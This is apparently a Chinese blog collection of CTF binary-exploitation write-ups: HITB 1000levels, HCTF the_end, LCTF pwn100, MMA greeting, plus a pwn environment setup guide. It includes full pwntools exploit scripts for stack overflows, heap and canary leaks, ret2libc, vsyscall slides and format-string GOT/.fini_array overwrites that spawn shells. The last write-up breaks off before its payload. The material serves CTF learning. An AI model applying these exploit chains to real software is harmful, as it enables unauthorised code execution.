HITB GSEC CTF 2017-1000levels

1.与之前BCTF 2017-100levels一模一样,只不过最大值变成了1000关,所以这里也同样可以用爆破来做,但是可以用另一种方法,vsyscall。

2.进入IDA可以看到有一个hint函数,而且里面有system函数,但是很奇怪:

1
2
3
#注释头

sprintf((char *)&v1, "Hint: %p\n", &system, &system);

这个代码没怎么看懂,还是看下汇编代码:

img

这里就是将system的地址赋值给rax,然后rax给栈上的[rbp+var_110]赋值。之后也没有什么其它的更改栈上[rbp+var_110]的操作,所以进入hint函数之后,一定会将system函数放到栈上,通过调试也可以看出来。

3.之后进入go函数,发现如果第一次输入负数,原本将关卡数赋值给[rbp+var_110]的操作就不会被执行,那么[rbp+var_110]上保存的仍然是system函数的地址。之后再输入关卡数,直接加到[rbp+var_110]上,那么如果第一次输入负数,第二次输入system函数和one_gadget的偏移,那么就变相将[rbp+var_110]上存放的内容保存为one_gadget的地址。

▲这里需要注意的是,[rbp+var_110]是在hint函数中被赋值的,而go函数中用到的也是[rbp+var_110]这个变量,但是不同函数栈肯定是不同的,所以这里两个[rbp+var_110]是不是一样的就值得思考一下。看程序可以发现,hint函数和go函数都是在main函数中调用的,那么如果调用的时候两处的rsp是一样的就可以保证两个函数的rbp一样,也就代码[rbp+var_110]也是一样的。查看汇编代码:

img

可以看到从读取选项数据之后,到判断语句一直没有push,pop之类的操作,也就是说程序无论是运行到hint函数还是go函数时,main函数栈的状态都是一样的,从而导致进入这两个函数中的栈底也都是同一个地址,那么[rbp+var_110]也就一样,所以用hint函数来为[rbp+var_110]赋值成system函数,再用go函数来为[rbp+var_110]赋值为one_gadget这条路是可以的,同样可以调试来确定一下。

4.那么赋值之后进入level关卡函数,由于递归关系,最后一关的栈是和go函数的栈连在一起的,所以可以通过最后一关的栈溢出抵达go函数的栈,从而抵达[rbp+var_110]这个地址处。

5.但是栈溢出只能修改数据,就算控制eip,但是也并不知道[rbp+var_110]处的真实地址,只能通过调试来知道偏移是多少。所以这里需要用的vsyscall来将rsp下挪到[rbp+var_110]处从而执行vsyscall的ret操作来执行[rbp+var_110]处的代码,也就是one_gadget。

6.这里看一下vsyscall处的数据:

img

▲vsyscall的特点:

(1)某些版本存在,需要用到gdb来查看,IDA中默认不可见。

(2)地址不受到ASLR和PIE的影响,固定是0xffffffffff600000-0xffffffffff601000。

(3)不能从中间进入,只能从函数开头进入,意味着不能直接调用里面的syscall。这里vsyscall分为三个函数,从上到下依次是

A.gettimeofday: 0xffffffffff600000

B.time: 0xffffffffff600400

C.getcpu: 0xffffffffff600800

(4)gettimeofday函数执行成功时返回值就是0,保存在rax寄存器中。这就为某些one_gadget创造了条件。

7.观察代码可以发现,三个函数执行成功之后相当于一个ret操作,所以如果我们将gettimeofday放在eip处,那么就相当于放了一个ret操作上去,而ret操作又相当于pop eip,那么就相当于直接将rsp往下拉了一个单位。如果我们多次调用gettimeofday,那么就可以将rsp下拉多个单位,从而抵达我们想要的地方来执行代码。那么这里就可以将eip改成gettimeofday,然后在之后添加多个gettimeofday来滑到one_gadget来执行代码。

8.所以现在就可以编写exp了

(1)前置内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#注释头

libc_system_offset = 0x432C0
#减去system函数离libc开头的偏移
one_gadget_offset = 0x43158
#加上one gadget rce离libc开头的偏移
vsyscall_gettimeofday = 0xffffffffff600000

io.recvuntil('Choice:')
io.sendline('2') #让system的地址进入栈中
io.recvuntil('Choice:')
io.sendline('1') #调用go()
io.recvuntil('How many levels?')
io.sendline('-1') #输入的值必须小于0,防止覆盖掉system的地址
io.recvuntil('Any more?')
io.sendline(str(one_gadget_offset-libc_system_offset))
#第二次输入关卡的时候输入偏移值,从而通过相加将system的地址变为one gadget rce的地址

这里由于相加关系,levels=system_addr + one_gadget_offset - libc_system_offset,肯定超过999,所以关卡数一定是1000关。

(2)开始循环答题,直至到达最后一关执行栈溢出:

1
2
3
4
5
6
7
8
9
10
#注释头

def answer():
io.recvuntil('Question: ')
answer = eval(io.recvuntil(' = ')[:-3])
io.recvuntil('Answer:')
io.sendline(str(answer))
for i in range(999): #循环答题
log.info(i)
answer()

(3)最后一关执行栈溢出,利用gettimeofday滑至one_gadegt从而getshell。

1
2
3
4
5
#注释头

io.recvuntil('Question: ')
io.send(b'a'*0x38 + p64(vsyscall_gettimeofday)*3)
io.interactive()

▲以下是测试[rbp+var_110]的数据:

main函数中的rbp: 00007FFD3A854900

hint函数中的rbp: 00007FFD3A8548C0

go函数中的rbp: 00007FFD3A8548C0

▲vsyscall用法:

vsyscall直接进行syscall,并没有利用栈空间,所以在处理栈溢出,但是由于PIE没有别的地址可以用时,而栈上又有某个有用的地址的时候,可以通过vsyscall构造一个rop链来ret,每次ret都会消耗掉一个地址,将rsp下拉一个单位,这样就可以逐渐去贴近想要的那个地址,最后成功ret到相应的位置。

▲vdso的特点:

(1)vdso的地址随机化的,且其中的指令可以任意执行,不需要从入口开始。

(2)相比于栈和其他的ASLR,vdso的随机化非常的弱,对于32的系统来说,有1/256的概率命中。

(3)不同的内核随机程度不同:

A.较旧版本:0xf76d9000-0xf77ce000

B.较新版本:0xf7ed0000-0xf7fd0000

C.其它版本:

可以编译以下文件之后用脚本查看:

1
2
3
4
5
6
7
8
9
10
11
12
//注释头

// compiled: gcc -g -m32 vdso_addr.c -o vdso_addr
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
printf("vdso addr: %124$p\n");//这里的偏移不同内核不一样,可调试一下看看。
return 0;
}

查看脚本:

#注释头

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python
# -*- coding:utf-8 -*-

import os

result = []
for i in range(100):
result += [os.popen('./vdso_addr').read()[:-1]]

result = sorted(result)

for v in result:
print (v)

▲vdso的用法:与vsystem类似,泄露出地址后相当于有了syscall。另外32位条件下有__kernel_rt_sigreturn,可以打SROP。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

https://xz.aliyun.com/t/5236

HCTF2018_the_end

1.常规checksec,保护全开。IDA打开找漏洞,在sub_BF0()函数,即读入name的函数中存在栈溢出漏洞:

img

利用结构体重整化

1
2
3
4
5
6
7
8
9
10
11
12
#注释头

struct project{
int length;
char name[length];
int check;
int price;
int area;
int capactity;
}project;

struct project* projects[0x10];

由于length是由用户输入影响的,那么结构体的大小也是不固定的,所以提出来固定的形成project_behind结构体方便查看:

1
2
3
4
5
6
7
8
#注释头

struct project_behind{
int check;
int price;
int area;
int capactity;
}project_behind;

得到如下:

img

其实际意义就是读入length-1个字节,然后将最后一个字节设置为\x00。但是这里没有检查data_length,即如果传入的length为0,那么data_length由于是int类型,而i也是int类型,那么i从0开始加需要加0xfffff…..这么多才会抵达-1,相当于可以读入任意长度的字符串,造成栈溢出。

2.栈溢出,保护全开,canary把着栈溢出的口子,所以得先想办法泄露canary。

(1)题目虽然打印了name,但是打印的是堆上的name,没办法利用name连上canary来泄露。

(2)足够长的栈溢出,但是没有这个进程是fork创建,而不是进程pthread创建,所以没办法溢出足够长来覆盖TSL中的canary。

那么既然能控制栈,就从栈上入手,寻找add函数栈上的有用数据:

1
2
3
4
5
6
7
#注释头

char *project; // [rsp+6Ah] [rbp-3Eh]
-------------------------------------------------------------------
project = malloc(length + 21LL);
--------------------------------------------------------------------
projects[idx] = project;

可以看到对IDA重整化之后的内容中,project变量位于栈上,里面保存着project这个chunk的首地址,最后会被放入projects这个数组中。所以如果我们修改掉project变量的内容,将其指向其它的地址,那就实现任意地址可写了。

3.但是这里保护全开,一个有用地址都没有。可以注意到project变量最后会保存一个堆地址,由于大端序,如果我们将这个堆地址的最后一个字节变成\x00,那么这个chunk就会指向第一个chunk,也就是project[0],如果第一个chunk处于释放状态,就可以通过程序的view函数来将这个chunk的fd指针打印出来。

4.由于使用溢出的前提条件是length为0,所以malloc(21)对应chunk大小为0x20,释放后会进入fastbins中,fastbins中chunk的fd保存下一个chunk的头地址。那么就可以打印出fd上的内容,泄露出堆地址。

5.现在可以控制堆内容了,那么通过正常手段申请几个chunk,在里面构造一个fakechunk,之后利用溢出漏洞控制这个fakechunk,将其释放掉,使其进入unsortedbin中。再利用溢出漏洞控制这个被释放的fakechunk,打印出其fd指针,就是main_aren+88的地址,从而泄露Libc地址。

6.现在有了libc地址和栈溢出,需要突破canary,突破口是environ这个变量。environ这个变量从程序加载时保存在libc数据段上,但是它的内容保存的是栈地址,所以我们就可以通过溢出漏洞打印出environ中的栈地址。得到栈地址之后就可以用gdb计算偏移,选取view函数栈上的canary,再利用溢出漏洞打印出canary的值。

7.之后有了libc,canary,栈溢出,就是常规的getshell了。

8.编写exp:

(1)前置增删改查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#注释头

def start_proj(length, name, price, area, capacity):
io.sendlineafter("Exit\n", '1')
io.sendlineafter("name: ", str(length))
io.sendlineafter("name: ", name)
io.sendlineafter("price: ", str(price))
io.sendlineafter("area: ", str(area))
io.sendlineafter("capacity: ", str(capacity))

def view_proj():
io.sendlineafter("Exit\n", '2')

def cancel_proj(idx):
io.sendlineafter("Exit\n", '4')
io.sendlineafter("number: ", str(idx))

(2)泄露堆地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#注释头 

def leak_heap():
global heap_base

start_proj(0, 'A', 1, 1, 1) #chunk0
start_proj(0, 'A'*0x5a, 1, 1, 1) #chunk1
#溢出一个字节,修改栈上project的最后一个字节为\x00,使其指向chunk0
start_proj(0, 'A', 1, 1, 1) #chunk2
cancel_proj(2)
cancel_proj(0)

view_proj()
#打印chunk1就相当于打印chunk0的内容,其中包含fd指针部分内容

io.recvuntil("Capacity: ")
leak = int(io.recvline()[:-1], 10) & 0xffffffff
heap_base = (0x55<<40) + (leak<<8) # 0x55 or 0x56
#由于程序的关系,只能打印出0x55之后的内容,共4个字节,由于堆地址高位一般都是0x55或0x56,所以直接加上即可,最后还得乘上0x100,因为没有泄露出来,需要调试看看。

log.info("heap base: 0x%x" % heap_base)

(3)泄露libc地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#注释头 

def leak_libc():
global libc_base

start_proj(0xf, 'A', 0xd1, 0, 0x64) #chunk0
#chunk0用来修改fakechunk的size位为0xd1,占位0x30,位于heap_base+0x60

start_proj(0x50, '\x01', 1, 1, 1) #chunk2
#chunk2占位0x70用,位于heap_base+0x90,'\x01'不知道干啥的,'\x00'随便啥都可以

start_proj(0x50, 'A'*0x44+'\x21', 1, 1, 1) #chunk3
#chunk3用来修改fakechunk的size位,占位0x70,位于heap_base+0x100

start_proj(0, 'A'*0x5a + p64(heap_base+0x90), 1, 1, 1) #chunk4
#chunk4修改chunk4指向heap_base+0x90,占位0x20,位于heap_base

start_proj(0, 'A'*0x5a + p64(heap_base+0x8b), 1, 1, 1) #chunk5
#chunk5占位0x20,修改chunk5指向heap_base+0x8b,位于heap_base+0x40

#将fakechunk放入unsortedbin中
cancel_proj(4)

#获得libc地址
view_proj()

#由于一次只能泄露4个字节,所以需要两部分拼接
for i in range(5):
io.recvuntil("Area: ")
leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
io.recvuntil("Capacity: ")
leak_high = int(io.recvline()[:-1], 10) & 0xffff
libc_base = leak_low + (leak_high<<32) - 0x3c3b78

log.info("libc base: 0x%x" % libc_base)

①chunk0中的0x64用来过程序中删除project函数的检查:

if ( *(project + *project + 5) != 1 )

只要计算之后check为1即可,实测0x60也可以。

②chunk3中的\x21为了过glibc中的检查。

③chunk5为了填满之前的索引为2的project,方便之后运作。

(4)泄露canary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#注释头 

def leak_stack_canary():
global canary

environ_addr = libc.symbols['__environ'] + libc_base
log.info("__environ address: 0x%x" % environ_addr)

start_proj(0, 'A'*0x5a + p64(environ_addr - 9) , 1, 1, 1) # 4

view_proj()
for i in range(5):
io.recvuntil("Price: ")
leak_low = int(io.recvline()[:-1], 10) & 0xffffffff
io.recvuntil("Area: ")
leak_high = int(io.recvline()[:-1], 10) & 0xffff
stack_addr = leak_low + (leak_high<<32)
canary_addr = stack_addr - 0x130

log.info("stack address: 0x%x" % stack_addr)
log.info("canary address: 0x%x" % canary_addr)

start_proj(0, 'A'*0x5a + p64(canary_addr - 3), 1, 1, 1) # 6

view_proj()
for i in range(7):
io.recvuntil("Project: ")
canary = (u64(io.recvline()[:-1] + "\x00"))<<8

log.info("canary: 0x%x" % canary)

(5)栈溢出覆盖返回地址为system,pop rdi传参getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#注释头 

pop_rdi_ret = libc_base + 0x21102
bin_sh = libc_base + next(libc.search('/bin/sh\x00'))
system_addr = libc_base + libc.symbols['system']

payload = "A" * 0x68
payload += p64(canary) # canary
payload += "A" * 0x28
payload += p64(pop_rdi_ret) # return address
payload += p64(bin_sh)
payload += p64(system_addr) # system("/bin/sh")

start_proj(0, payload, 1, 1, 1)

io.interactive()

▲这道题需要很多调试的地方,容易头大崩溃。

参考资料:

ctf-all-in-one

LCTF 2016-pwn100

1.常规checksec,开了NX保护。打开IDA,找漏洞,逐次进入后,sub_40068E()函数中的sub_40063D函数中存在栈溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#注释头


char v1; // [rsp+0h] [rbp-40h]
---------------------------------------------
sub_40063D((__int64)&v1, 200);
--------------------------------------------------------------------
for ( i = 0; ; ++i )
{
result = i;
if ( (signed int)i >= a2 )
break;
read(0, (void *)((signed int)i + a1), 1uLL);
}

这里传的是局部变量v1的地址,所以进入sub_40063D后,修改a1指针对应的内存的值其实就是修改之前局部变量v1的值,就是传指针。这个函数每次读取一个字节,直到读取满200字节,其实就可以直接把它当成read(v1,200)完事。

(题外话:汇编代码中当局部变量传参时,需要用到lea,即:lea rax, [rbp+var_40],就是将栈上的变量var_40的地址给rax,然后传参mov rdi, rax;利用rdi来传函数参数。进入到函数内部后就会有:mov [rbp+var_18], rdi,也就是在该函数栈上创建一个局部变量来保存传入变量的栈上的地址,也就是之前var_40的栈上地址,保存在[rbp+var_18]这个局部变量中。这是这个程序中,不同程序可能不太一样。)

2.所以这个栈溢出的覆盖返回地址应该是sub_40068E函数的返回地址,简单远程调试一下,看看v1所在栈地址和rbp下一地址的距离就是偏移量,为0x48,看汇编计算就可以得到0x40+0x8。

3.现在需要system和binsh,这个程序中这两个都没有带,而只有Libc中才有,但是这个程序并没有泄露Libc的地址。分析程序发现,程序中.plt段中导入了puts函数,IDA中函数名那一块可以看到:所以可以用pwntools中的DynELF,调用该puts函数,从而泄露出libc中puts或者read的地址。由于大多教程选择泄露read,所以这里选择泄露puts函数在Libc中的被加载的地址。这里用read,setbuf,甚至__libc_start_main函数也都可以,因为都导入了plt表和外部引用了。

img

4.开始构造泄露地址的第一段payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#注释头

payload = "A"*72 #padding
payload += p64(pop_rdi)
#由于需要向puts传参,所以用到该地址,可以使用ropgadget
#查询ROPgadget --binary pwn100 | grep "pop rdi ; ret"
#或者在万能gadget中的pop r15,用D命令转换成数据后再C命令转换回代码可以看到
payload += p64(puts_got)
#这是puts在.got表(.got.plt段)中的地址,是传递给Puts函数的参数,当该库函数被加载进入libc中
#时,这样传参进去再打印就可以打印出puts函数在libc中的地址,也就泄露出来了。
payload += p64(puts_addr)
#这是调用puts函数,elf.plt['puts'](.plt段)
payload += p64(start_addr)
#整个程序的起始代码段,用以恢复栈。这个函数中会调用main函数。这里用Mian函数地#址也可以
payload = payload.ljust(200, b"B")
#使用B填充200字节中除去先前payload剩余的空间,填充的原因是因为这个程序需要我们输入满200字节
#才会跳出循环,进而才有覆盖返回地址的可能。或者可以写成:
#(payload += 'a'*(200-0x48-32))

5.之后开始运行payload来实际得到Puts函数被libc加载的实际内存地址:

1
2
3
4
5
6
7
8
9
#注释头

io.send(payload)
io.recvuntil('bye~\n')#跳出循环后才会执行到打印bye的地方
puts_addr = u64(io.recv()[:-1].ljust(8, b'\x00'))
#这里就是接收泄露地址的地方,末尾需要填充上\x00
log.info("puts_addr = %#x", puts_addr)
system_addr = puts_addr - 0xb31e0
log.info("system_addr = %#x", system_addr)

6.现在得到了puts函数被libc加载的实际内存地址,那么puts函数与其它函数的偏移量也就可以通过用IDA打开题目给的libc查出来,从而得到其它我们需要的函数被libc加载的实际内存地址。

1
2
3
4
5
6
#注释头

00000000000456A0 ---system_in_libc
00000000000F8880 ---read_in_libc
0000000000070920 ---puts_in_libc
000000000018AC40 ---binsh_in_libc

得到libc被加载的首地址:puts_addr 减去 puts_in_libc 等于libc_start。于是libc_start加上各自函数对应的in_libc也就可以得到被libc加载的实际内存地址。

7.现在都有了就可以尝试在执行一次栈溢出来开shell,64位程序,有了system函数和binsh地址,那么栈溢出覆盖用pop rdi;ret的方法可以直接getshell。

8.这里假设没有binsh,来使用一下万能gadget:通过我们的输入读到内存中。同样这张图,万能Gadget1为loc_400616,万能Gadget2为loc_400600

img

以下为用来读取binsh字符串的代码,这里需要在程序中找到一段可以写入之后不会被程序自动修改的内存,也就是binsh_addr=0x60107c,这个地址其实是extern的地址,里面原来保存的内容是read函数发生延迟绑定之前的地址。而延迟绑定发生之后,got表中保存的内容已经被改成了被Libc加载的真实地址,这个extern也就没用了,可以随意用。但如果某个函数没有被首次调用,即还没发生延迟绑定,而我们却先一步改掉了extern的内容,那么它就再也没办法被调用了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#注释头


binsh_addr = 0x60107c
#bss放了STDIN和STDOUT的FILE结构体,修改会导致程序崩溃

payload = b"A"*72
payload += p64(universal_gadget1) #万能gadget1
payload += p64(0) #rbx = 0
payload += p64(1)
#rbp = 1,过掉后面万能gadget2的call返回后的判断,使它步进行跳转,而是顺序执行到万
#能gadget1,从而return到最开始来再执行栈溢出从而Getshell。
#cmp 算术减法运算结果为零,就把ZF(零标志)置1,cmp a b即进行运算a-b
payload += p64(read_got)
#r12 = got表中read函数项,里面是read函数的真正地址,直接通过call调用
payload += p64(8) #r13 = 8,read函数读取的字节数,万能gadget2赋值给rdx
payload += p64(binsh_addr) #r14 = read函数读取/bin/sh保存的地址,万能gadget2赋值给rsi
payload += p64(0)
#r15 = 0,read函数的参数fd,即STDIN,万能gadget2赋值给edi
payload += p64(universal_gadget2) #万能gadget2
payload += b'\x00'*56
#万能gadget2后接判断语句,过掉之后是万能gadget1,而Loc_400616万能gadget1执行之
#后会使得栈空间减少7*8个字节,所以我们需要提前输入7*8来使得万能gadget1执行之
#后栈的位置不发生变化,从而能正常ret之后接上的start_addr
#用于填充栈,这里用A也是一样
payload += p64(start_addr) #跳转到start,恢复栈
payload = payload.ljust(200, b"B") #padding
#不知道这有什么用,去掉一样可以getshell,因为这边是直接调用read函数,而不是经过
#sub_40068E()非得注满200字节才能跳出循环。

io.send(payload)
io.send(b"/bin/sh\x00")
#上面的一段payload调用了read函数读取"/bin/sh\x00",这里发送字符串
#之后回到程序起始位置start

这里万能Gadget中给r12赋值,传入的一定是该函数的got表,因为这里的call和常规的call有点不太一样。我们在IDA调试时按下D转换成硬编码形式,(这里可以在IDA中选项-常规-反汇编-操作码字节数设置为8)可以看到这个call的硬编码是FF,而常规的call硬编码是E8。(这里call硬编码之后的字节代表的是合并程序段之前的偏移量,具体可以参考静态编译、动态编译、链接方面的知识)在这个指令集下面:

FF的call后面跟的是地址的地址。例如call [func], 跳转的地方就应该是func这个地址里保存的内容,也就是*func。

E8的call后面跟的是地址。例如call func,跳转的地方就是func的开头。

img

img

这里可以不用非得看硬编码,可以直接看汇编也可以显示出来:一个有[],一个没有[]。

img

img

9.所以万能gadget中通过r12,传入跳转函数的地址只能是发生延迟绑定之后的got表地址,而不能是plt表地址或者是没有发生延迟绑定的got表地址,(延迟绑定只能通过plt表来操作,没有发生延迟绑定之前,该got表中的内容是等同于无效的,只是一个extern段的偏移地址,除非该函数func是静态编译进程序里面的,那么got表中的内容就是该函数的真实有效地址,不会发生延迟绑定。)因为plt表中的内容转换成硬编码压根就不是一个有效地址,更别说跳转到该地址保存的内容的地方了。有人说跳转到plt表执行的就是跳转got表,那应该是一样的啊,但FF的call并不是跳转到plt来执行里面的代码,而是取plt表中内容当作一个地址再跳转到该地址来执行代码,所以有时候需要看汇编代码来决定究竟是传入got表还是传入plt表。同样也可以看到plt表中的硬编码是FF,也就是并不是跳转got表,而是取got表中保存的内容当作一个地址再来跳转。

img

▲说了这么多,记住一个就行了,

需要跳转函数时,有[]的-只能传got表,没[]的-传plt表(plt表更安全好使,但后面格式化字符串劫持got表又有点不太一样,情况比较复杂)。

需要打印真实函数地址时,传的一定是got表,这样就一定没错。

当有call eax;这类语句时,eax中保存的一定得是一个有效地址,因为这里的call硬编码也是0FF。(实际情况got和plt来回调着用呗,哪个好使用哪个)

10.那么现在有了system_addr和binsh_addr,而程序又是从最开始运行,所以现在尝试getshell:

1
2
3
4
5
6
7
8
9
#注释头

payload = b"A"*72 #padding
payload += p64(pop_rdi) #给system函数传参
payload += p64(binsh_addr) #rdi = &("/bin/sh\x00")
payload += p64(system_addr) #调用system函数执行system("/bin/sh")
payload = payload.ljust(200, b"B") #padding,跳出循环
io.send(payload)
io.interactive()

11.另外由于在libc中查找也比较繁琐,所以有个libcSearch可以简化使用,具体查资料吧。

1.往puts函数中传入函数在got表中的地址(elf.got)参数可以打印出被加载在Libc中的实际内存地址。

2.用覆盖返回地址ret的形式调用函数需要用函数在plt表中的地址,(elf.plt)这是库函数地址,需要先到plt中,然后再到got表中,这是正常的函数调用。

3.但如果在gadget中,则可以通过给r12赋值来调用elf.got表中的函数,因为这个是call qword ptr[r12+rbx*8],指向的是函数在got表中真实地址,需要的是函数在got表中的地址。如果只是call addr,则应该是call函数在plt表中的地址。

4.万能gadget一般在_libc_csu_init中,或者init或者直接ROPgadget查也可以

▲mov和lea区别:

mov:对于变量,加不加[]都表示取值;对于寄存器而言,无[]表示取值,有[]表示取地址。

lea:对于变量,其后面的有无[]皆可,都表示取变量地址,相当于指针。对于寄存器而言,无[]表示取地址,有[]表示取值。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

LCTF 2016-pwn100_without_libc

1.与之前做的pwn100一模一样,只是之前有给Libc,这次没给Libc。栈溢出,选择用Puts函数来泄露地址从而再执行栈溢出来重复使用。

2.编写leak函数,由于用Puts函数打印,所以需要有个循环条件,具体原因可以查看之前写的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#注释头

def leak(addr):
count = 0
up = ''
content = ''
payload = 'A'*72 #padding
payload += p64(pop_rdi) #给puts()赋值
payload += p64(addr) #leak函数的参数addr
payload += p64(puts_addr) #调用puts()函数
payload += p64(start_addr) #跳转到start,恢复栈
payload = payload.ljust(200, 'B') #padding
io.send(payload)
io.recvuntil("bye~\n")
while True: #无限循环读取,防止recv()读取输出不全
c = io.recv(numb=1, timeout=0.1) #每次读取一个字节,设置超时时间确保没有遗漏
count += 1
if up == '\n' and c == "": #上一个字符是回车且读不到其他字符,说明读完了
data = data[:-1]+'\x00' #最后一个字符置为\x00
break
else:
data += c #拼接输出
up = c #保存最后一个字符
data = data[:4] #截取输出的一段作为返回值,提供给DynELF处理
log.info("%#x => %s" % (addr, (data or '').encode('hex')))
return data

3.得到system_addr的地址后,后续的操作用万能gadget和read函数即可实现。如果还需要其它地址,也可以通过此方法来打印,也是一样的。

(参照之前不给Libc的pwn100)

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

Learn_malloc.c_before

一、环境部署:

1
2
3
4
5
#注释头

docker pull ubuntu:16.04
docker pull ubuntu:18.04
docker pull ubuntu:20.04

二、环境安装:

1.apt换源,docker换源,pip换源。

2.安装前置包:

1
2
3
4
5
6
7
8
9
10
#注释头

sudo apt-get install libxml2-dev
sudo apt-get install libxslt-dev
sudo apt-get install libmysqlclient-dev
sudo apt-get install libsqlite3-dev
sudo apt-get install zlib1g-dev
sudo apt-get install python-dev
sudo apt-get install libffi-dev
sudo apt-get install libssl-dev

3.安装python好多步部曲:

1
2
3
4
5
6
7
8
9
10
#注释头

wget https://www.python.org/ftp/python/2.7.9/Python-2.7.9.tgz
(wget https://www.python.org/ftp/python/3.9.0/Python-3.9.0.tgz)
tar -zxvf Python-2.7.9.tgz
cd Python-2.7.9
./configure --prefix=/usr/local/python27
make
make install
ln -s /usr/local/python27/bin/python /usr/bin/python2

4.安装setuptools四部曲:

1
2
3
4
5
6
#注释头

wget https://pypi.python.org/packages/45/29/8814bf414e7cd1031e1a3c8a4169218376e284ea2553cc0822a6ea1c2d78/setuptools-36.6.0.zip#md5=74663b15117d9a2cc5295d76011e6fd1
unzip setuptools-36.6.0.zip
cd setuptools-36.6.0
python2 setup.py install

5.安装pip四部曲:

1
2
3
4
5
6
7
#注释头

wget https://pypi.python.org/packages/11/b6/abcb525026a4be042b486df43905d6893fb04f05aac21c32c638e939e447/pip-9.0.1.tar.gz#md5=35f01da33009719497f01a4ba69d63c9
tar -zxvf pip-9.0.1.tar.gz
cd pip-9.0.1
python2 setup.py install
ln -s /usr/local/python27/bin/pip2.7 /usr/bin/pip2

6.安装pwndbg三部曲:

1
2
3
4
5
#注释头

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

7.添加pwngdb:

1
2
3
4
5
6
7
#注释头

cd ~
git clone https://github.com/0xKira/pwngdb.git
vim ~/.gdbinit
#将peda注释,添加:(必须加在第一行)
source ~/pwndbg/gdbinit.py

8.安装pwntools一步曲:

1
2
3
4
#注释头

pip2 install pwntools
pip3 install pwntools

三、准备源码:

1
2
3
#注释头

http://ftp.gnu.org/gnu/glibc/

挂飞机下gz包老快了,找到里面的malloc.c准备开始阅读。

四、跟着CTFwiki一步步调试:

https://wiki.x10sec.org/pwn/linux/glibc-heap/chunk_extend_overlapping-zh/

五、视频调试:

https://www.bilibili.com/video/BV1q5411h7Wf

MMA CTF 2nd 2016-greeting

1.常规checksec,开了canary和NX。IDA打开找漏洞,main函数中格式化字符串漏洞:

1
2
3
4
5
6
7
8
9
#注释头


char v5; // [esp+5Ch] [ebp-44h]
char s; // [esp+1Ch] [ebp-84h]
-----------------------------------------------------
if ( !getnline(&v5, 64) )
sprintf(&s, "Nice to meet you, %s :)\n", &v5);
return printf(&s);

2.再找system,有导入,没有binsh,没有Libc。用格式化字符串修改某个函数的got表指向system函数,然后再次运行程序得以输入binsh传给该函数,相当于调用system函数,之后就可以getshell。但是发现该程序中没有循环,修改之后没办法再次输入。

3.这里需要用到c语言的结构执行:

img

c语言编译后,执行顺序如图所示,总的来说就是在main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的,main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针。

4.利用Main函数结束时会调用fini段的函数组这一个特点,我们尝试找到fini函数组的地址,利用格式化字符串漏洞来修改该地址,修改.fini_array数组的第一个元素为start,使得Main函数退出时运行该地址可以重复回到start来再次执行一次输入。

5.fini_array段的地址直接ctrl+s就可以找到,内容是__do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux,保存的内容是一个地址,该地址对应是一个代码段,该代码段的函数名为__do_global_dtors_aux proc near。其它函数对应的got,plt可以通过elf.pot\elf.plt对应的来搜索。

6.但是这里存在一个问题,要将什么地址劫持为system函数?这个地址必须是在getline最后或者是之后,而且还需要有参数来执行binsh。第一个想到的是sprintf,因为该函数在getline函数之后,并且从右往左数第一个参数就是我们保存的内容,但是尝试过后发现崩溃了,修改是能修改,但是传参的时候有点问题。后面查看该函数汇编代码:

img

可以看到查看该函数从栈上取的第一个参数应该是s这个数组,而不是我们穿的v5,而如果劫持为system函数,那么就要求栈上的esp指向的内容的地址是binsh字符串,但是这里确实指向s这个数组中的内容,为空,那么system函数就没办法调用成功了。后面又看printf函数,还是不行,因为这里printf函数的参数也是s这个数组,内容此时为空,无法顺利调用。之后再找,经过getnline函数内部可以发现有个strlen函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
#注释头

#代码中的形式:
if ( !getnline(&v5, 64) )
----------------------------------------------------------------
getnline(char *s, int n)
return strlen(s);

#该函数原型:
unsigned int strlen(const char *str);
-------------------------------------------------------
#system函数原型:
int system(const char *command);

system函数调用规则是需要一个地址,地址上保存的内容是binsh字符串,或者直接”binsh”字符串赋予,C语言中就代表在全局变量中开辟一块内存,然后该内存保存的是binsh字符串,然后将该内存的地址赋予给system函数当作参数运行。总之就是system函数需要的参数是一个地址。

这里的strlen满足这个条件,虽然上面写的只是s,但是s中保存的内容是一个地址,输入AAAA,通过调试查看内容:

img

img

同样的,查看下汇编代码:

img

可以看到[esp+s]相当于是取s的栈地址赋值给eax,然后eax赋值给esp栈顶,这两行破代码有病,一毛一样。所以现在跳转进strlen中的话,esp的值也就是参数,是一个栈上地址,内容就是AAAA。也就相当于在strlen中的s的值是一个地址,那么劫持后,就相当于system(s),同样可以getshell。

▲劫持为system函数,要求原函数的参数也应该是一个地址才行,不然无法跳转。

7.确定攻击思路后,开始计算偏移,先用IDA简单远程调试,输入AAAA,然后将程序一直运行至printf处,可以看到栈中的偏移为12.5处会出现A的ascii值,也就是41。由于我们需要栈中完整的对应地址,所以需要输入aa填充两个字节,来使得偏移量从12.5到13处,从而能够完整地输入我们需要修改的地址。

8.之后编写payload,这里使用控制字符%hn(一次改动两个字节)来修改:

